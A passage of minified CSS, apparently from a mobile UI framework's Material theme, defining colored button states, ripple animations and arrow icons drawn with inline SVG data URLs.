.button:not(.button-fill):not(.button-fill-md).active-state,.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state,.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .toast .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .segmented{border-radius:4px}.md .segmented.segmented-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .segmented.segmented-round{border-radius:36px}.md .segmented .button{border-radius:0;min-width:0;border-left:1px solid rgba(0,0,0,.1)}.md .segmented .button:first-child{border-radius:4px 0 0 4px;border-left:none}.md .segmented .button.button-outline{border:2px solid #2196f3}.md .segmented .button.button-outline:nth-child(n+2){border-left:none}.md .segmented .button:last-child{border-radius:0 4px 4px 0}.md .segmented .button:first-child:last-child{border-radius:4px}.md .segmented .button.button-round:first-child{border-radius:36px 0 0 36px}.md .segmented .button.button-round:last-child{border-radius:0 36px 36px 0}.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state{background-color:rgba(255,255,255,.1)}.md .color-red .button,.md .color-theme-red .button{color:#f44336}.md .color-red .button.button-active,.md .color-red .button.button-fill,.md .color-red .button.button-fill-md,.md .color-red .button.tab-link-active,.md .color-theme-red .button.button-active,.md .color-theme-red .button.button-fill,.md .color-theme-red .button.button-fill-md,.md .color-theme-red .button.tab-link-active{background-color:#f44336;color:#fff}.md .color-red .button.button-active.active-state,.md .color-red .button.button-fill-md.active-state,.md .color-red .button.button-fill.active-state,.md .color-red .button.tab-link-active.active-state,.md .color-theme-red .button.button-active.active-state,.md .color-theme-red .button.button-fill-md.active-state,.md .color-theme-red .button.button-fill.active-state,.md .color-theme-red .button.tab-link-active.active-state{background:#f21f0f}.md .color-red .button.button-outline,.md .color-theme-red .button.button-outline{border-color:#f44336}.md .color-green .button,.md .color-theme-green .button{color:#4caf50}.md .color-green .button.button-active,.md .color-green .button.button-fill,.md .color-green .button.button-fill-md,.md .color-green .button.tab-link-active,.md .color-theme-green .button.button-active,.md .color-theme-green .button.button-fill,.md .color-theme-green .button.button-fill-md,.md .color-theme-green .button.tab-link-active{background-color:#4caf50;color:#fff}.md .color-green .button.button-active.active-state,.md .color-green .button.button-fill-md.active-state,.md .color-green .button.button-fill.active-state,.md .color-green .button.tab-link-active.active-state,.md .color-theme-green .button.button-active.active-state,.md .color-theme-green .button.button-fill-md.active-state,.md .color-theme-green .button.button-fill.active-state,.md .color-theme-green .button.tab-link-active.active-state{background:#409343}.md .color-green .button.button-outline,.md .color-theme-green .button.button-outline{border-color:#4caf50}.md .color-blue .button,.md .color-theme-blue .button{color:#2196f3}.md .color-blue .button.button-active,.md .color-blue .button.button-fill,.md .color-blue .button.button-fill-md,.md .color-blue .button.tab-link-active,.md .color-theme-blue .button.button-active,.md .color-theme-blue .button.button-fill,.md .color-theme-blue .button.button-fill-md,.md .color-theme-blue .button.tab-link-active{background-color:#2196f3;color:#fff}.md .color-blue .button.button-active.active-state,.md .color-blue .button.button-fill-md.active-state,.md .color-blue .button.button-fill.active-state,.md .color-blue .button.tab-link-active.active-state,.md .color-theme-blue .button.button-active.active-state,.md .color-theme-blue .button.button-fill-md.active-state,.md .color-theme-blue .button.button-fill.active-state,.md .color-theme-blue .button.tab-link-active.active-state{background:#0c82df}.md .color-blue .button.button-outline,.md .color-theme-blue .button.button-outline{border-color:#2196f3}.md .color-pink .button,.md .color-theme-pink .button{color:#e91e63}.md .color-pink .button.button-active,.md .color-pink .button.button-fill,.md .color-pink .button.button-fill-md,.md .color-pink .button.tab-link-active,.md .color-theme-pink .button.button-active,.md .color-theme-pink .button.button-fill,.md .color-theme-pink .button.button-fill-md,.md .color-theme-pink .button.tab-link-active{background-color:#e91e63;color:#fff}.md .color-pink .button.button-active.active-state,.md .color-pink .button.button-fill-md.active-state,.md .color-pink .button.button-fill.active-state,.md .color-pink .button.tab-link-active.active-state,.md .color-theme-pink .button.button-active.active-state,.md .color-theme-pink .button.button-fill-md.active-state,.md .color-theme-pink .button.button-fill.active-state,.md .color-theme-pink .button.tab-link-active.active-state{background:#ca1452}.md .color-pink .button.button-outline,.md .color-theme-pink .button.button-outline{border-color:#e91e63}.md .color-theme-yellow .button,.md .color-yellow .button{color:#ffeb3b}.md .color-theme-yellow .button.button-active,.md .color-theme-yellow .button.button-fill,.md .color-theme-yellow .button.button-fill-md,.md .color-theme-yellow .button.tab-link-active,.md .color-yellow .button.button-active,.md .color-yellow .button.button-fill,.md .color-yellow .button.button-fill-md,.md .color-yellow .button.tab-link-active{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .button.button-active.active-state,.md .color-theme-yellow .button.button-fill-md.active-state,.md .color-theme-yellow .button.button-fill.active-state,.md .color-theme-yellow .button.tab-link-active.active-state,.md .color-yellow .button.button-active.active-state,.md .color-yellow .button.button-fill-md.active-state,.md .color-yellow .button.button-fill.active-state,.md .color-yellow .button.tab-link-active.active-state{background:#ffe712}.md .color-theme-yellow .button.button-outline,.md .color-yellow .button.button-outline{border-color:#ffeb3b}.md .color-orange .button,.md .color-theme-orange .button{color:#ff9800}.md .color-orange .button.button-active,.md .color-orange .button.button-fill,.md .color-orange .button.button-fill-md,.md .color-orange .button.tab-link-active,.md .color-theme-orange .button.button-active,.md .color-theme-orange .button.button-fill,.md .color-theme-orange .button.button-fill-md,.md .color-theme-orange .button.tab-link-active{background-color:#ff9800;color:#fff}.md .color-orange .button.button-active.active-state,.md .color-orange .button.button-fill-md.active-state,.md .color-orange .button.button-fill.active-state,.md .color-orange .button.tab-link-active.active-state,.md .color-theme-orange .button.button-active.active-state,.md .color-theme-orange .button.button-fill-md.active-state,.md .color-theme-orange .button.button-fill.active-state,.md .color-theme-orange .button.tab-link-active.active-state{background:#d68000}.md .color-orange .button.button-outline,.md .color-theme-orange .button.button-outline{border-color:#ff9800}.md .color-gray .button,.md .color-theme-gray .button{color:#9e9e9e}.md .color-gray .button.button-active,.md .color-gray .button.button-fill,.md .color-gray .button.button-fill-md,.md .color-gray .button.tab-link-active,.md .color-theme-gray .button.button-active,.md .color-theme-gray .button.button-fill,.md .color-theme-gray .button.button-fill-md,.md .color-theme-gray .button.tab-link-active{background-color:#9e9e9e;color:#fff}.md .color-gray .button.button-active.active-state,.md .color-gray .button.button-fill-md.active-state,.md .color-gray .button.button-fill.active-state,.md .color-gray .button.tab-link-active.active-state,.md .color-theme-gray .button.button-active.active-state,.md .color-theme-gray .button.button-fill-md.active-state,.md .color-theme-gray .button.button-fill.active-state,.md .color-theme-gray .button.tab-link-active.active-state{background:#8a8a8a}.md .color-gray .button.button-outline,.md .color-theme-gray .button.button-outline{border-color:#9e9e9e}.md .color-theme-white .button,.md .color-white .button{color:#fff}.md .color-theme-white .button.button-active,.md .color-theme-white .button.button-fill,.md .color-theme-white .button.button-fill-md,.md .color-theme-white .button.tab-link-active,.md .color-white .button.button-active,.md .color-white .button.button-fill,.md .color-white .button.button-fill-md,.md .color-white .button.tab-link-active{background-color:#fff;color:#fff}.md .color-theme-white .button.button-active.active-state,.md .color-theme-white .button.button-fill-md.active-state,.md .color-theme-white .button.button-fill.active-state,.md .color-theme-white .button.tab-link-active.active-state,.md .color-white .button.button-active.active-state,.md .color-white .button.button-fill-md.active-state,.md .color-white .button.button-fill.active-state,.md .color-white .button.tab-link-active.active-state{background:#ebebeb}.md .color-theme-white .button.button-outline,.md .color-white .button.button-outline{border-color:#fff}.md .color-black .button,.md .color-theme-black .button{color:#000}.md .color-black .button.button-active,.md .color-black .button.button-fill,.md .color-black .button.button-fill-md,.md .color-black .button.tab-link-active,.md .color-theme-black .button.button-active,.md .color-theme-black .button.button-fill,.md .color-theme-black .button.button-fill-md,.md .color-theme-black .button.tab-link-active{background-color:#000;color:#fff}.md .color-black .button.button-active.active-state,.md .color-black .button.button-fill-md.active-state,.md .color-black .button.button-fill.active-state,.md .color-black .button.tab-link-active.active-state,.md .color-theme-black .button.button-active.active-state,.md .color-theme-black .button.button-fill-md.active-state,.md .color-theme-black .button.button-fill.active-state,.md .color-theme-black .button.tab-link-active.active-state{background:#000}.md .color-black .button.button-outline,.md .color-theme-black .button.button-outline{border-color:#000}.md .button.color-red{color:#f44336}.md .button.color-red.button-active,.md .button.color-red.button-fill,.md .button.color-red.button-fill-md,.md .button.color-red.tab-link-active{background-color:#f44336;color:#fff}.md .button.color-red.button-active.active-state,.md .button.color-red.button-fill-md.active-state,.md .button.color-red.button-fill.active-state,.md .button.color-red.tab-link-active.active-state{background:#f21f0f}.md .button.color-red.button-outline{border-color:#f44336}.md .button.color-green{color:#4caf50}.md .button.color-green.button-active,.md .button.color-green.button-fill,.md .button.color-green.button-fill-md,.md .button.color-green.tab-link-active{background-color:#4caf50;color:#fff}.md .button.color-green.button-active.active-state,.md .button.color-green.button-fill-md.active-state,.md .button.color-green.button-fill.active-state,.md .button.color-green.tab-link-active.active-state{background:#409343}.md .button.color-green.button-outline{border-color:#4caf50}.md .button.color-blue{color:#2196f3}.md .button.color-blue.button-active,.md .button.color-blue.button-fill,.md .button.color-blue.button-fill-md,.md .button.color-blue.tab-link-active{background-color:#2196f3;color:#fff}.md .button.color-blue.button-active.active-state,.md .button.color-blue.button-fill-md.active-state,.md .button.color-blue.button-fill.active-state,.md .button.color-blue.tab-link-active.active-state{background:#0c82df}.md .button.color-blue.button-outline{border-color:#2196f3}.md .button.color-pink{color:#e91e63}.md .button.color-pink.button-active,.md .button.color-pink.button-fill,.md .button.color-pink.button-fill-md,.md .button.color-pink.tab-link-active{background-color:#e91e63;color:#fff}.md .button.color-pink.button-active.active-state,.md .button.color-pink.button-fill-md.active-state,.md .button.color-pink.button-fill.active-state,.md .button.color-pink.tab-link-active.active-state{background:#ca1452}.md .button.color-pink.button-outline{border-color:#e91e63}.md .button.color-yellow{color:#ffeb3b}.md .button.color-yellow.button-active,.md .button.color-yellow.button-fill,.md .button.color-yellow.button-fill-md,.md .button.color-yellow.tab-link-active{background-color:#ffeb3b;color:#fff}.md .button.color-yellow.button-active.active-state,.md .button.color-yellow.button-fill-md.active-state,.md .button.color-yellow.button-fill.active-state,.md .button.color-yellow.tab-link-active.active-state{background:#ffe712}.md .button.color-yellow.button-outline{border-color:#ffeb3b}.md .button.color-orange{color:#ff9800}.md .button.color-orange.button-active,.md .button.color-orange.button-fill,.md .button.color-orange.button-fill-md,.md .button.color-orange.tab-link-active{background-color:#ff9800;color:#fff}.md .button.color-orange.button-active.active-state,.md .button.color-orange.button-fill-md.active-state,.md .button.color-orange.button-fill.active-state,.md .button.color-orange.tab-link-active.active-state{background:#d68000}.md .button.color-orange.button-outline{border-color:#ff9800}.md .button.color-gray{color:#9e9e9e}.md .button.color-gray.button-active,.md .button.color-gray.button-fill,.md .button.color-gray.button-fill-md,.md .button.color-gray.tab-link-active{background-color:#9e9e9e;color:#fff}.md .button.color-gray.button-active.active-state,.md .button.color-gray.button-fill-md.active-state,.md .button.color-gray.button-fill.active-state,.md .button.color-gray.tab-link-active.active-state{background:#8a8a8a}.md .button.color-gray.button-outline{border-color:#9e9e9e}.md .button.color-white{color:#fff}.md .button.color-white.button-active,.md .button.color-white.button-fill,.md .button.color-white.button-fill-md,.md .button.color-white.tab-link-active{background-color:#fff;color:#fff}.md .button.color-white.button-active.active-state,.md .button.color-white.button-fill-md.active-state,.md .button.color-white.button-fill.active-state,.md .button.color-white.tab-link-active.active-state{background:#ebebeb}.md .button.color-white.button-outline{border-color:#fff}.md .button.color-black{color:#000}.md .button.color-black.button-active,.md .button.color-black.button-fill,.md .button.color-black.button-fill-md,.md .button.color-black.tab-link-active{background-color:#000;color:#fff}.md .button.color-black.button-active.active-state,.md .button.color-black.button-fill-md.active-state,.md .button.color-black.button-fill.active-state,.md .button.color-black.tab-link-active.active-state{background:#000}.md .button.color-black.button-outline{border-color:#000}.md .actions-button,.md .button,.md .checkbox,.md .dialog-button,.md .fab a,.md .radio,.md .ripple,.md .speed-dial-buttons a,.md .tab-link,.md a.item-link,.md a.link{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.md .ripple-wave{left:0;top:0;position:absolute!important;border-radius:50%;pointer-events:none;z-index:-1;background:rgba(0,0,0,.1);padding:0;margin:0;font-size:0;-webkit-transform:translate3d(0,0,0) scale(0);transform:translate3d(0,0,0) scale(0);-webkit-transition-duration:1.4s;transition-duration:1.4s}.md .ripple-wave.ripple-wave-fill{-webkit-transition-duration:.3s;transition-duration:.3s;opacity:.35}.md .ripple-wave.ripple-wave-out{-webkit-transition-duration:.6s;transition-duration:.6s;opacity:0}.button-fill .md .ripple-wave,.picker-calendar-day .md .ripple-wave{z-index:1}.md .button-active .ripple-wave,.md .button-fill .ripple-wave,.md .fab a .ripple-wave,.md .navbar .ripple-wave,.md .stepper-fill .ripple-wave,.md .subnavbar .ripple-wave,.md .toast .ripple-wave,.md .toolbar .ripple-wave{background:rgba(255,255,255,.3)}.md .messagebar .ripple-wave,.md .searchbar .ripple-wave{background:rgba(0,0,0,.1)}.md .data-table .sortable-cell .ripple-wave{z-index:0}.md .checkbox .ripple-wave,.md .radio .ripple-wave{background:rgba(33,150,243,.5);z-index:0}.calendar.md .theme-dark .ripple-wave,.md .theme-dark .calendar .ripple-wave,.md .theme-dark .messagebar .ripple-wave,.md .theme-dark .page-content .ripple-wave,.md .theme-dark .popover .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-color-red .ripple-wave,.md .ripple-red .ripple-wave{background-color:rgba(244,67,54,.3)}.md .ripple-color-green .ripple-wave,.md .ripple-green .ripple-wave{background-color:rgba(76,175,80,.3)}.md .ripple-blue .ripple-wave,.md .ripple-color-blue .ripple-wave{background-color:rgba(33,150,243,.3)}.md .ripple-color-pink .ripple-wave,.md .ripple-pink .ripple-wave{background-color:rgba(233,30,99,.3)}.md .ripple-color-yellow .ripple-wave,.md .ripple-yellow .ripple-wave{background-color:rgba(255,235,59,.3)}.md .ripple-color-orange .ripple-wave,.md .ripple-orange .ripple-wave{background-color:rgba(255,152,0,.3)}.md .ripple-color-gray .ripple-wave,.md .ripple-gray .ripple-wave{background-color:rgba(158,158,158,.3)}.md .ripple-color-white .ripple-wave,.md .ripple-white .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-black .ripple-wave,.md .ripple-color-black .ripple-wave{background-color:rgba(0,0,0,.3)}i.icon{display:inline-block;vertical-align:middle;background-size:100% auto;background-position:center;background-repeat:no-repeat;font-style:normal;position:relative}.md .icon-back{width:24px;height:24px}.md .icon-forward{width:24px;height:24px}.md .icon-next,.md .icon-prev{width:24px;height:24px}.md .item-media .icon{color:#737373}.md .item-media .material-icons{font-size:24px;width:24px;height:24px}.md .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-red,.md a.link .color-red .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-red,.md a.link .color-red .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-red,.md a.link .color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-red,.md a.link .color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-green,.md a.link .color-green .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-green,.md a.link .color-green .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-green,.md a.link .color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-green,.md a.link .color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-blue,.md a.link .color-blue .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-blue,.md a.link .color-blue .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-blue,.md a.link .color-blue .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-blue,.md a.link .color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-pink,.md a.link .color-pink .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-pink,.md a.link .color-pink .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-pink,.md a.link .color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-pink,.md a.link .color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-yellow,.md a.link .color-yellow .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-yellow,.md a.link .color-yellow .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-yellow,.md a.link .color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-yellow,.md a.link .color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-orange,.md a.link .color-orange .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-orange,.md a.link .color-orange .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-orange,.md a.link .color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-orange,.md a.link .color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-gray,.md a.link .color-gray .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-gray,.md a.link .color-gray 